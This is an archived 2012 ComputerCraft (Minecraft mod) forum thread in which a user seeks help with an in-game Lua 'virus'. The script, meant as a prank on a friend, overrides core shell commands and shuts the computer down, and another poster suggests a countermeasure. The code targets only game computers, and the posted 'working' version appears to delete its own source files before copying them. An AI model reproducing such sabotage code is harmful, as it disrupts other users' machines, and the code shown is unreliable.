This is a read-only snapshot of the ComputerCraft forums, taken in April 2020.
awesomeman7268's profile picture

access denied when trying to run a program off of a floppy disk

Started by awesomeman7268, 10 July 2012 - 01:07 AM
awesomeman7268 #1
Posted 10 July 2012 - 03:07 AM
This is supposed to be a virus file where the virus shuts down and doesn't allow the computer to do main functions, even with a simple antivirus program. This was planned to be used on one of my friends who is just starting tekkit but it is coming up with the access denied message. Please help!

Here's the code

print("I'm a virus :)/>/>")
fs.copy("disk/startup", "rom/programs/startup")
fs.copy(disk/delete, rom/programs/delete)
fs.copy(disk/edit, rom/programs/edit)
fs.copy(disk/lua, rom/programs/lua)
fs.copy(disk/move, rom/programs/move)
fs.copy(disk/rename, rom/programs/rename)
fs.copy(disk/shell, rom/programs/shell)
print("Bye, Bye")
sleep(1)
os.shutdown()
Sxw #2
Posted 10 July 2012 - 03:51 AM
I know whats wrong, you cant edit rom ingame, sorry!
awesomeman7268 #3
Posted 10 July 2012 - 05:55 AM
I know that you can name programs with the names pre-loaded on to the rom. Thats what I was trying to do
Xfel #4
Posted 10 July 2012 - 07:22 AM
The shell will search two location for programs: the current folder and the programs folder. If the current folder (default: /) contains a file "edit", the real program "edit" isn't accessible any more. So you have to copy your programs to / and override cd too, tu be shure.
awesomeman7268 #5
Posted 10 July 2012 - 09:55 AM
I got it to work!
This is what works.

print("I'm a virus :)/>/>")
fs.delete("disk/startup", "startup")
fs.delete("disk/delete", "delete")
fs.delete("disk/edit", "edit")
fs.delete("disk/lua", "lua")
fs.delete("disk/move", "move")
fs.delete("disk/rename", "rename")
fs.delete("disk/shell", "shell")
fs.copy("disk/startup", "startup")
fs.copy("disk/delete", "delete")
fs.copy("disk/edit", "edit")
fs.copy("disk/lua", "lua")
fs.copy("disk/move", "move")
fs.copy("disk/rename", "rename")
fs.copy("disk/shell", "shell")
sleep(1)
os.shutdown()
Sxw #6
Posted 10 July 2012 - 04:26 PM
I believe that there is a function, shell.setAlias, but im not sure… Anyways, just /rom/programs/rm /rm and then delete anything, incase anyone needs to combat your virus :)/>/>